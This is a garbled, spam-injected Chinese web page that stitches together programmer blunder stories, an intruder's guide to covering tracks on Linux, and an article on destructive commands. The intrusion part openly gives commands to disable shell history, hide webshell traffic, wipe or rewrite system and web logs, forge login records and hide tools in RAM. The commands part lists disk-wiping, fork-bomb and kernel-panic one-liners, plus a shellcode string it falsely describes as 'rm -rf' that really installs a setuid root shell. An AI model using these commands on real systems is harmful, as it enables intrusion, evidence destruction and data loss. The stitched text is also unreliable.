译文出处,八个由INode节点爆满引起的事务故障

澳门新葡8455最新网站 2

在StakeOverflow上有这样一个贴子叫“Confessions of your worst WTF
moment”,挺有意思的,我摘几个小故事过来,希望大家在笑过之后能从中学到什么——所有的经验都是从错误中来的
我们公司的软件是给警察局用的,那是一个对用来处理被逮捕的人的系统,此系统还需要收集脸部特征和指纹信息,并且,这个系统和会向FBI的系统提交这些信息。当我们在测试这个系统的时候,我们一般都是用我们自己的指纹,当然,数据库联着的是我们的测试数据库。不过,有一次,在我们测试完后,我们忘了把系统切换回生产库,于是我们的测试数据库就联上了生产环境,于是我们的指纹信息和照片就散布到了其它系统中……清除我们警察局这边的还好办,但是,你需要波士顿警察局警司去法院签字才能从FBI的数据库中清除我们的信息。点评:测试环境和生产环境的数据不要混在一起。
有一次,我需要向新系统中导入一堆数据,因为数据量太大,需要5个小时,只能在夜里来干,在系统需要正式使用前2个小时,数据导完了,此时是凌晨4点。随后,我需要删除一些数据,于是我在SQL命令地上输入了“DELETE
from important_table; where
id=4”。是的,我没有看到哪里还有个分号,天啊。点评:这就是加班工作的恶果。另,在delete之前最好先做一次select。
我把我的管理员口令提交到了一个开源软件的源码里。点评:1)版本管理器里的东西是删不掉的。2)一些用户和口令要hard
code在代码里,所以,不要混用代码使用的权限和管理员的权限,小心管理程序的运行权限,为其注册专门的用户。

我为一个很大的银行开发软件,在我的代码里,我为一段理论上根本不可能执行到的代码加了一个报错信息。有一天,不可思异的事发生了,这条报错信息显示在了该银行的1800个分行的超过10000个终端上——“如果你看到这个信息,说明整个系统被**了,回家吧,祝你过得愉快!”点评:“假设是恶魔”,Assume意为Ass
– u –
me,意为——搞砸你和我。对于一些关键东西,永远不要做假设。小心你言语中的——“可能、应该、觉得、不应该”等词语,程序可不认这些东西。

我远程登录到服务器上加几个防火墙规则。第一件我想干的事是在不允许任何人的任何连接,第二件是,为某个端口打开访问权限。不过,我在做完第一件事后就把配置保存了,结果其生效了……点评:这样的事经常发生,做远程网络管理的人多少会有那么几次发生这样的错误。在你将你的网络配置生效前,你得想一想,断线了你是否还能登得上去。改配置不要太冲动,生效前检查几次。
我们的代码中有一个模块完美地工作了很多年了,只是代码太乱了。我说服了我的老板,我可以重写这个模块,于是我花了三个星期来重写这个模块。今天
,我还记得,我的老板站在我的后面看着我,而我在在流着斗大的法汗珠去fix被我重写的“超级漂亮”的那个模块中一个接一个的bug。从那以后,我再也不重写代码了,除非有重大的利益。点评:这就是所谓的屠宰式编程。这个案例告诉我们两个道理,1)维护代码要用最最最保守的方法来进行。2)重构代码前要像一个商人一样学会计算利益。当然,ThoughtWorks的咨询师一定会告诉你TDD,结对,极限等等方法告诉你如果实践重构。但我想告诉你,一个程序在生产环境里运行好几个年能没有问题是一件很不容易的事,那怕其中的代码再烂,你再看不过去,你都要有一个清醒的头脑明白这几点,1)软件的运行质量是远远大于代码质量的,2)你的测试案例是远远小于生产环境的,3)软件的完美的质量,是靠长时间的运行、测试和错误堆出来的,而不是某种方法论。————————————————相信大家做程序员这一生中也有很多发生在自己身上的悲催的事儿,欢迎分享。我先分享几个我亲身经历过的事。一个发生在我的领导身上。
我98年刚参加工作的时候,在某单位网络部门,一次,我们整个部门去给下属单位培训Cisco路由器,结果我们发现带去培训地点的设备少带了集线器HUB,设备连不起来。于是领导很不高兴,质问我们为什么没有带集线器?那几个对领导平时就不满的老员工说办公室里没有集线器了,都借给别的部门了。领导想了想,问我:“陈皓,我记得上次我给过你个集线器”,我说,“好像没有吧,我记不起来了,什么牌的?几口的?”,领导说:
“什么牌子想不起来了,不过我记得那个集线器是一个口的”。“一个口的?!”,我心里嘀咕着,“真敢说啊”。但我不敢接话了。那几个老员工来劲了——“哪有一个口的HUB啊,一个口的怎么联两台电脑啊?”,领导说:“用两个一个口的不就行了”。领导这话一出,全场一片寂静,无言以对……后来:我们所有的组员都离开了我们的这个领导,我们的这个领导今天还在那里工作。我想告诉大家,很多时候该走的是领导。我们的领导经常出这样或那样的笑话,这让我随时随地地警醒自己——“不要当一个被人笑话的经理”,于是,今天我还在努力地学习技术。另一个发生在我身上
刚刚接触Linux的时候,还不是很懂,那时的PC还只有奔3,编译公司的程序好慢啊,有时候为了调查一个问题,需要不断地打log,来来回回地编译,很不爽。直到有一天,硬盘不够了,df一下,发现/dev/shm还有空间。于是,把全部程序copy了过去,发现编译起程序超快无比,爽得不行。于是就把工作环境放在/dev/shm下了,连开发都放在这里了。这一天,开发一个功能,改了十来个文件,加班很晚,觉得基本搞定,大喜,回家睡觉。第二天一来,发现/dev/shm下空了,一个文件都没有了,问同事,同事不知,同事还安慰我说,上次他的文件也不知道被
谁删了,于是我大怒,告老板!老板也怒,发邮件到整个公司质问大家谁删了陈皓的程序,无人应答。IT部门答,“昨晚唯一的操作就是重启了linux服务器,什么也没干,不过我们天天备份服务器,可以恢复”,IT部门问我丢的文件在哪个目录下?于是,我reply
to all –
“在/dev/shm下……”,哎,人丢大发了……后来:我很感谢我以前犯的这个错,从那天以后,我开始立志学好Linux,这个错误让我努力,让我发奋。所以,我想告诉大家——尤其是刚出道的程序员,你们要多多犯错,要犯错那种丢死人的错,这样你才会知耻而勇。再来一个发生在我同事身上的
01年,我们开发银行系统,在AIX上开发,RICS6000很贵,只能在客户那里开发,开发进度很紧张,慢慢地硬盘就不够用了,系统中有大量的垃圾文件,于是需要清除一些文件,于是有一个同事写了一个脚本,可以自动清除的各种不重要的文件,里面有一条命令大致是这个样子“
rm -rf
${app_log_dir}/*”,意为清除程序运行的日志。为了使用这个脚本,需要在root用户下运行,一开始还不错。直到有一天,某人一运行,整个根就没了。搞得整个团队只能用一周前的备份重写已写好的代码。后来,才发现原因是${app_log_dir}变量为空,于是成了“rm
-rf
/*澳门新葡8455最新网站,”……后来:这个事后,我的那个同事,把rm命令改了名,并自己写了一个rm命令,把删除的文件先放到一个临时目录下。而我也因为这个事情,到今天,每次当我在root目录下使用rm时,敲击回车的手都是抖的。这里,我想告诉大家——犯错不可怕,可怕的是不会从中总结教训,同一个错犯两次。欢迎分享发生在你身上那些悲催的事。作者:陈皓

1.最小化你的日志
P.S
访问目标前用跳板我就不废话了,你是VPN也好3389也罢,ssh中转,代理都行。总之记住一点—直接连接攻击目标是愚蠢的
1.1  shell使用问题
目前linux下大多数的shell都是采用bash或者其他的什么shell
通过输入输出重定向来实现与服务器的交互的,当我们使用ssh
或者telnet之类的登录的时候,我们的命令都会被记录在shell
的history文件下面。举例来说bash会在当前目录下面.bash_history文件里记录下你此次登陆操作的命令,如果你拿这台机器当跳板的话,或者扫描其他机器,你的命令都会被记录下来哦。呵呵,所以我们登录的第一件事就是执行如下命令:
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export
HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
当然不同的shell写法可能不同,像有的set设置环境变量什么的。大家根据自己的shell自行修改。记住:从
webshell弹回的shell也会记录你的操作,值得庆幸的是现在很多弹shell的脚本都预先unset
环境变量。
我们还需要记住的是在登录的时候出现在登录窗口的一些信息,比如该用户在什么时候从哪个IP登录进来的等等,这在我们后面的用于日志清除与修改的时候要用到。
如图:
澳门新葡8455最新网站 1
作为跳板的时候,我们有可能需要用本机的ssh去访问别的机器,但是别的机器的公钥呢?总不能放在当前用户的目录下吧?当然你可以事后删除,但多一事不如少一事,你说对么?
ssh -o UserKnownHostsFile=/dev/null -T
[email protected]
/bin/bash –i
就可以了,但在这样运行某些命令的时候可能会有提示,说你的stdin不是个terminal,这里可以这样解决:
python -c import pty; pty.spawn(“/bin/sh”) 或者自己再建立个ttyshell。
1.2  webshell的选择问题
        可能各位道友的日常生活中最主要目标瞄向了webserver
。现在的web也是大多数入侵的一个突破口。Linux下用的最多的就是apache服务器了,当我们发觉一个服务器的漏洞时候很可能要上传一个
webshell来进行对服务器文件进一步的操作和信息的搜集,部分webshell也提供了反弹shell的功能。如何能够在apache服务器的日志文件中留下最小的记录也是需要深究的。这种情况通常发生在没能够获得足够的权限来清除apache日志。如果能够
root了,则可以将重点放在第二节日志清除上。通常,日志只记录GET的信息,比如你的注入,你采用了那种方式提交数据等等。如果我们的
webshell采用的多是GET方式交互的话,就很容易在httpd的access_log中留下很多日志。这些以后都会被作为证据所采纳的。
Phpspy是个很好的选择,作者也注意掉了这点,取消了GET方式的交互,再给webshell起一个比较迷惑的名字,这样我们与webshell的交流就更加隐秘。
2.        日志的清除与改写
日志清除与改写,俗称擦PP,这是个很重要的过程,日志记录了你对目标机器的操作记录,大部分的入侵者查找都是通过日志来确定的,因此,我们需要对日志文件进行操作。对日志操作有这么个说法,能修改的就不清除,这样才能最小的减少管理员的怀疑。Linux下的大多数文件是以文本方式,或者以简单的结构体方式存入文件的,这就为我们修改某个日志记录里的具体内容提供了前提条件。
需要注意的一点是,我们需要先看看日志的存放位置,有的管理员会修改日志保存的位置,一般来说,我们可以查看/etc/syslog.conf来获得
log文件存放的位置。但要注意的是,有的管理员(及其负责)会重新编译syslogd文件来重新指定log存放的位置,怎么办?在这种情况下可以用
strings来看下/sbin/syslogd这个文件,这种管理员我只在书里看到过,至少我没遇到过:
P。这个配置文件里面记录了系统存放某些log的目录,如secure文件等。下面我们就会根据这个文件来清理和修改日志。
现在可以在网上公开获得的日志清除程序代码很粗糙,我曾经看到过最夸张的清日志的代码像这样:
rm -rf /var/log/lastlog ; rm -rf /var/log/telnetd ; rm -rf /var/run/utmp
; rm -rf /var/log/secure ; rm -rf /root/.ksh_history ; rm -rf
/root/.bash_history ; rm -rf /root/.bash_logut ; rm -rf /var/log/wtmp
; rm -rf /etc/wtmp ; rm -rf /var/run/utmp ; rm -rf /etc/utmp ; rm -rf
/var/log ; rm -rf /var/adm ; rm -rf /var/apache/log ; rm -rf
/var/apache/logs ; rm -rf /usr/local/apache/log ; rm -rf
/usr/local/apache/logs ; rm -rf /var/log/acct ; rm -rf /var/log/xferlog
; rm -rf /var/log/messages ; rm -rf /var/log/proftpd/xferlog.legacy ; rm
-rf /var/log/proftpd.access_log ; rm -rf /var/log/proftpd.xferlog ; rm
-rf /var/log/httpd/error_log ; rm -rf /var/log/httpd/access_log ; rm
-rf /etc/httpd/logs/access_log ; rm -rf /etc/httpd/logs/error_log ;rm
-rf /var/log/news/suck.notice ; rm -rf /var/spool/tmp ; rm -rf
/var/spool/errors ; rm -rf /var/spool/logs ; rm -rf /var/spool/locks ;
rm -rf /usr/local/www/logs/thttpd_log ; rm -rf /var/log/thttpd_log ;
rm -rf /var/log/ncftpd/misclog.txt ; rm -rf /var/log/ncftpd.errs ; rm
-rf /var/log/auth ; rm -rf /root/.bash_history ; touch
/root/.bash_history ; history –r
整个一rm集合,要是服务器跑了很长时间,积累了很多日志。你这样一删除,的,你帮他省事了,他也省事,一眼就看出有人进来了。
先不说其他,用rm删除就不可取,正确的删除文件做法是用shred
shred -n 31337 -z -u file_to_delete
这样多次擦除才够安全。呵呵
下面具体的针对日志文件进行分析。
W命令提供了管理员查看当前登录帐户的功能,所以与管理员同台共演是件很危险的事情,能不做就不做,但也有人曾经上演过local
exp后,装上tty
然后T管理员下线截获登录密码的好戏。呵呵,如何让w不显示你登录了呢?
用rootkit我就不废话了,这里有个小窍门,即使是普通用户登录管理员也不能看见:
在跳板上登录目标ssh -T [email protected]
/bin/bash –i 你可以试试,很好用哦。
OK,言归正传
首先第一个概念是timstamp,也就是你用ls –l
看到的东西,我们在修改一个LOG文件之前或者留后门之后都得留心下这个时间,有很多管理员喜欢通过timestamp来查找入侵者留下的东西。记住以下命令
touch -r 具有你希望改成的时间的文件 你要改变的文件
他能够使得两个文件的timestamp保持一致。
在你修改日志之前,你可以在/dev/shm下面建立一个临时文件,并将log的timestamp保存下俩,然后再touch回去。为什么要用/dev
/shm
目录在第三节会有说明。当然我们也可以用程序实现,不过有的时候我们会碰到没有见过的日志类型,所以有时候需要手工改写日志。除了时间之外,还需要注意文件的其他属性,比如所有者或是否有粘滞位等等。这些都需要注意。
   Linux
的日志散落在系统各处,同时系统管理员也能够灵活的制定日志保存的位置,这就要求我们非常小心,采用通用的日志移除或改写工具是很不明智的,为此我们要对需要修改的日志系统有个全面的了解。具体的内容请参看文章《Linux服务器日志管理详解》。
   这里提供个工具
html”>
怎么使用自己去看看吧。我个人还是倾向于某个日志用某个特定的清除或修改器,这样灵活性更大点。
我们也可以使用sed命令行工具来清除某些日志,通常我会这样修改web日志:
  touch /dev/shm/timestamp; touch -r access_log /dev/shm/timestamp;sed
/192.168.44.1/d access_log > /dev/shm/backlog ; cat /dev/shm/backlog
> access_log; touch -r /dev/shm/timestamp ./access_log ;shred -n
255 -z -u /dev/shm/timestamp;
这里192.168.44.1是我跳板的IP。
具体的log修改和擦除工具,各位道长就从网上下个现成的自己改改吧,呵呵,我就不在这献丑了。
还有一点,我们要将wtmp文件中的登录日志修改成原来管理员登陆的IP和时间
也就是第一节中记下的时间与IP。如果实在得不到 root权限,我们也可以ssh
localhost一下来隐藏登录IP。
3.        工具与数据的隐藏
3.1工具与数据的临时存放
当我们需要在服务器上留下某些程序的时候,比如sniff软件,或者作为跳板攻击其他服务器的时候,我们不得不面对着一个痛苦的抉择:既要能够留下足够的工具来完成必要的任务,又要经可能少的对文件系统乃至对磁盘的数据的改写。在这种情况下,如果所要保存的数据只是临时的,我们就需要在内存中建立起文件系统。这样,当系统再重启后我们曾经在磁盘上保留的信息就会被擦除,因为它没有被真正的写到磁盘上面去。(注意:通常我们只用这种方法来保存暂时用的程序、代码等工具,如果要长久保存的不推荐此种方法)
为此,我们需要建立ramfs,它是一个在内存中存在的文件系统。具体的介绍请各位道友自行查找相关文档查看。建立ramfs很简单,不过需要有root权限。代码如下:
mount -t ramfs ramfs /usr/tmp
这样/usr/tmp目录就被挂载为一个内存文件系统。当然,在实际过程中我们可能要找一个隐藏比较深的不用的目录来做

如果不能跑在安全补丁之前,这将会带来一个远超过系统管理员工资水平的战略性业务问题。这里就有一些足以搞死
Linux
服务器的简单方式掌握在系统管理员手中。很容易想象到,只有新手才会犯这些错误,但是,我们需要了解的更多。

 

P.S
访问目标前用跳板我就不废话了,你是VPN也好3389也罢,ssh中转,代理都行。总之记住一点—直接连接攻击目标是愚蠢的…

擦除硬盘!

另一个一直受欢迎的擦除硬盘的方式是执行:

dd if=/dev/zero of=/dev/hda

1
dd if=/dev/zero of=/dev/hda

你可以用这条命令写入数据到你的硬盘设备。dd
命令可以从特殊文件中获取无尽个 0 字符,并且将它全部写入你的设备。

可能现在听起来 /dev/zero
是个愚蠢的想法,但是它真的管用。比如说,你可以使用它来
用零清除未使用的分区空间。它能使分区的镜像压缩到更小,以便于数据传输或是存档使用。

在另一方面,它和 dd if=/dev/random of=/dev/hda
相近,除了能毁掉你的一天之外,不是一个好事。如果你运行了这个指令(千万不要),你的存储器会被随机数据覆盖。作为一个隐藏你要接管办公室咖啡机的秘密计划的半吊子方法,倒是不错,但是你可以使用
DBAN 工具去更好的完成你的任务。

澳门新葡8455最新网站 2

下列是一些著名的命令,任何拥有 root
权限的用户都能借助它们对服务器造成严重破坏。

不,真的,真心感谢 DevOps 的沟通协作和云编排技术,让一个 Linux
管理员不仅能掌控一台服务器,甚者能控制成千上万台服务器实例。只需要一个愚蠢的举动,你甚至可以毁掉一个价值数十亿美元的企业,就像
没有打补丁的 Apache
Struts
一样。

tmpfs          1007261      1 1007260    1% /dev/shm

提防未知脚本

年轻或是懒惰的系统管理员喜欢复制别人的脚本。何必重新重复造轮子?所以,他们找到了一个很酷的脚本,承诺会自动检查所有备份。他们就这样运行它:

wget -O- | sh

1
wget https://ImSureThisIsASafe/GreatScript.sh -O- | sh

这会下载该脚本,并将它送到 shell
上运行。很明确,别大惊小怪,对吧?不对。这个脚本也许已经被恶意软件感染。当然,一般来说
Linux 比大多数操作系统都要安全,但是如果你以 root
用户运行未知代码,什么都可能会发生。这种危害不仅在恶意软件上,脚本作者的愚蠢本身同样有害。你甚至可能会因为一个未调试的代码吃上一堑——由于你没有花时间去读它。

你认为你不会干那样的事?告诉我,所有那些 你在 Docker
里面运行的容器镜像在干什么?你知道它们到底在运行着什么吗?我见过太多的没有验证容器里面装着什么就运行它们的系统管理员。请不要和他们一样。

 

内核崩溃

一些 Linux
命令不能让你的机器长时间停机。然而,一些命令却可以导致内核崩溃。这些错误通常是由硬件问题引起的,但你也可以自己搞崩。

当你遭遇内核崩溃,重新启动系统你才可以恢复工作。在一些情况下,这只是有点小烦;在另一些情况下,这是一个大问题,比如说,高负荷运作下的生产环境。下面有一个案例:

dd if=/dev/random of=/dev/port echo 1 > /proc/sys/kernel/panic cat
/dev/port cat /dev/zero > /dev/mem

1
2
3
4
dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem

这些都会导致内核崩溃。

绝不要运行你并不了解它功能的命令,它们都在提醒我…

 

警告:千万不要在生产环境运行这些命令,它们会危害你的系统。不要在家里尝试,也不要在办公室里测试。

ERROR 1 (HY000):Can’t create/write to file ‘/tmp/#sql_3b25_0.MYI’
(Errcode:28)

蜘蛛侠有这样的一句信条,“权力越大,责任越大。” 对于 Linux
系统管理员们来说,这也是一种应当采用的明智态度。

  系统中有用户开启了cron,而cron中执行的程序有输出内容,输出内容会以邮件形式发给cron的用户,而sendmail没有启动所以就产生了这些文件;

那么,继续!

 

fork 炸弹

既然我们讨论的都是些奇怪的代码,不妨思考一下这一行:

:(){ :|: & };:

1
:(){ :|: & };:

对你来说,这可能看起来有些神秘,但是我看来,它就是那个臭名昭著的 Bash
fork 炸弹。它会反复启动新的 Bash
shell,直到你的系统资源消耗殆尽、系统崩溃。

不应该在最新的 Linux
系统上做这些操作。注意,我说的是不应该。我没有说不能。正确设置用户权限,Linux
系统能够阻止这些破坏性行为。通常用户仅限于分配使用机器可用内存。但是如果作为
root 用户的你运行了这行命令(或者它的变体 Bash fork
炸弹变体),你仍然可以反复虐待服务器,直到系统重启了。

touch: cannot touch `e’: No space left on device

原文出处: Steven
Vaughan-nichols   译文出处:ChenYi   

查看nginx的错误日志,部分错误信息如下,500错误:

格式化错了驱动器

有时候你需要使用这一条命令格式化驱动器:

mkfs.ext3 /dev/hda

1
mkfs.ext3 /dev/hda

……它会用 ext3
文件系统格式化主硬盘驱动器。别,请等一下!你正在格式化你的主驱动器!难道你不需要用它?

当你要格式化驱动器的时候,请务必加倍确认你正在格式化的分区是真的需要格式化的那块而不是你正在使用的那块,无论它们是
SSD、闪存盘还是其他氧化铁磁盘。

[root@xxxxxx ~]# df -h

垃圾数据重写硬盘

有时候你想彻底清除硬盘的数据,你应该使用 Darik’s Boot and Nuke
(DBAN) 工具去完成这项工作。

但是如果仅仅想让你的存储器乱套,那很简单:

任意命令 > /dev/hda

1
任意命令 > /dev/hda

我说的“任意命令”,是指有输出的任意命令,比如:

ls -la > /dev/hda

1
ls -la > /dev/hda

……将目录列表通过管道送到你的主存储设备。给我 root
权限和足够的时间,就能覆盖整个硬盘设备。这是让你开始盲目恐慌的一天的好办法,或者,可以把它变成
职业禁入方式。

 

rm -rf /

想要干脆利落的毁掉一个 Linux
系统吗?你无法超越这个被誉为“史上最糟糕”的经典,它能删除一切,我说的是,能删除所有存在你系统里的内容!

和大多数 Linux
命令一样,rm
这个核心命令使用起来非常方便。即便是最顽固的文件它也能帮你删除。结合起后面两个参数理解
rm
指令时,你很容易陷入大麻烦:-r,强制递归删除所有子目录,-f,无需确认,强制删除所有只读文件。如果你在根目录运行这条指令,将清除整个驱动器上的所有数据。

如果你真这么干了,想想该怎么和老板解释吧!

现在,也许你会想,“我永远不会犯这么愚蠢的错误。”朋友,骄兵必败。吸取一下经验教训吧,
这个警示故事来自于一个系统管理员在 Reddit
上的帖子:

我在 IT 界工作了很多年,但是今天,作为 Linux 系统 root
用户,我在错误的系统路径运行了 rm- f

长话短说,那天,我需要复制一大堆目录从一个目录到另一个目录,和你一样,我敲了几个
cp -R 去复制我需要的内容。

以我的聪明劲,我持续敲着上箭头,在命令记录中寻找可以复制使用的类似命令名,但是它们混杂在一大堆其他命令当中。

不管怎么说,我一边在 Skype、Slack 和 WhatsApp 的网页上打字,一边又和
Sage 通电话,注意力严重分散,我在敲入 rm -R ./videodir/*
../companyvideodirwith651vidsin/
这样一条命令时神游物外。

然后,当文件化为乌有时其中也包括了公司的视频。幸运的是,在疯狂敲击
control -C
后,在删除太多文件之前,系统管理员中止了这条命令。但这是对你的警告:任何人都可能犯这样的错误。

事实上,绝大部分现代操作系统都会在你犯这些错误之前,用一段醒目的文字警告你。然而,如果你在连续敲击键盘时忙碌或是分心,你将会把你的系统键入一个黑洞。(LCTT
译注:幸运的是,可能在根目录下删除整个文件系统的人太多了额,后来 rm
默认禁止删除根目录,除非——你手动加上 –no-preserve-root 参数!)

这里有一些更为隐蔽的方式调用 rm -rf。思考一下下面的代码:

char esp[] __attribute__ ((section(“.text”))) =
“xebx3ex5bx31xc0x50x54x5ax83xecx64x68”
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56”
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31”
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69”
“x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond;
chmod 4755 /tmp/.beyond;”;

1
2
3
4
5
6
7
8
9
char esp[] __attribute__ ((section(“.text”))) = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68”
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56”
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31”
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69”
“x6ex2fx73x68x00x2dx63x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

这是什么?这是 16 进制的 rm -rf
写法。在你不明确这段代码之前,请千万不要运行这条命令!

/dev/xxx      4194304 463685 3730619   12% /mnt

当然,除非你想干掉你的机器。

 

结束

这些故事背后的道理很简单。在你的 Linux
系统里,你有巨大的控制权。你几乎可以让你的服务器做任何事。但是在你使用你的权限的同时,请务必做认真的确认。如果你没有,你毁灭的不只是你的服务器,而是你的工作甚至是你的公司。像蜘蛛侠一样,负责任的使用你的权限。

我有没有遗漏什么?在 @sjvn 或
@enterprisenxt 上告诉我哪些
Linux
命令在你的“绝不要运行!”的清单上。

1 赞 5 收藏 4
评论

 

/dev/null 的损失

也许因为数据珍贵,我们对备份的数据没有什么信心,确实很多“永远不要这样做!”的命令都会导致硬盘或其它存储仓库的数据被擦除。一个鲜明的实例:另一个毁灭你的存储设备的方式,运行
mv / /dev/null 或者 >mv /dev/null

在前一种情况下,你作为 root 用户,把整个磁盘数据都送进这个如饥似渴的
/dev/null。在后者,你仅仅把家目录喂给这个空空如也的仓库。任何一种情况下,除非还原备份,你再也不会再看见你的数据了。

见鬼,难道会计真的不需要最新的应收账款文件了吗?


 

 

 

 

一开始没留意,继续编辑,看了下文件里面的内容,没改动啊,权限和属主也是正常的,那就奇怪了。。

 

刚刚df -h不是很明显还有空间么。难道是文件的节点数满了?果断df
-i一下。。。

最后使用ls |xargs rm -rf 删除。。。。

相关文章

You can leave a response, or trackback from your own site.

Leave a Reply

网站地图xml地图